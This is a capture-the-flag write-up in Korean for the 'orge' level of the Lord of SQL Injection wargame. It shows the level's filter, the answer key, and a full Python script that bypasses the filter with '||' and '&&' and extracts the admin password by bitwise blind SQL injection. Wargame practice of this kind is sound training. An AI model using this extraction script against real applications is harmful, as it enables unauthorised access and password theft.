Web/Lord Of SQL

LOS - orge / level 7

supp0rt 2024. 6. 23. 19:14

문제

풀이 과정

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 

 

pw의 값에 or / and를 필터링 하는 것을 볼 수 있다

 

또한 admin의 진짜 pw값을 넣으면 문제가 풀린다

 

이를 통해 blind sql injection을 수행한다

정답

더보기

?pw=7b751aec

활용 코드

python requests를 이용하여 코드를 작성하여 문제를 해결하였다

 

import requests

url = "input your url"	#
cookie = {input your cookie}	#
user = 'input find user' # 

def change_bit(array):
    two_bit_array = []
    for i in range(len(array)):
        two_bit_array.append(int(array[i],2))
    return two_bit_array



def change_str(array):
    str_array = []
    result_str = ""
    for i in range(len(array)):
        str_array.append(chr(array[i]))
        result_str = result_str + str_array[i]
    return result_str



def find_length(url,user,cookie):
    i = 1
    while True:
        params = f"?pw=%27%20||%20id=%27{user}%27%20%26%26%20length(pw) > {i}%23"
        send_url = url + params

        print(f"Params = {params}")
        
        res = requests.get(send_url, cookies=cookie)
        # print(res.text)
        if "Hello admin" not in res.text:
            break
        i += 1
    print(f"{user} Length = {i}")

    return i

def blind(url, user, cookie,length):
    results = []
    for i in range(1, length+1):
        k = 2
        result = ""
        for count in range(8):
            go = k ** count
            params = f"?pw=%27%20||%20id=%27{user}%27%20%26%26%20ascii(substr(pw,{i},1)) %26 {go}%23"

            send_url = url + params
            res = requests.get(send_url,cookies=cookie)

            if "Hello admin" in res.text:
                result = "1" + result
            else:
                result = "0" + result
        print(f"{i} : {result}")
        results.append(result)

        two_bit_array = change_bit(results)
        result_str = change_str(two_bit_array)
    return result_str



print("Find User Length")
length = find_length(url,user, cookie)

array = blind(url,user, cookie, length)

print(array)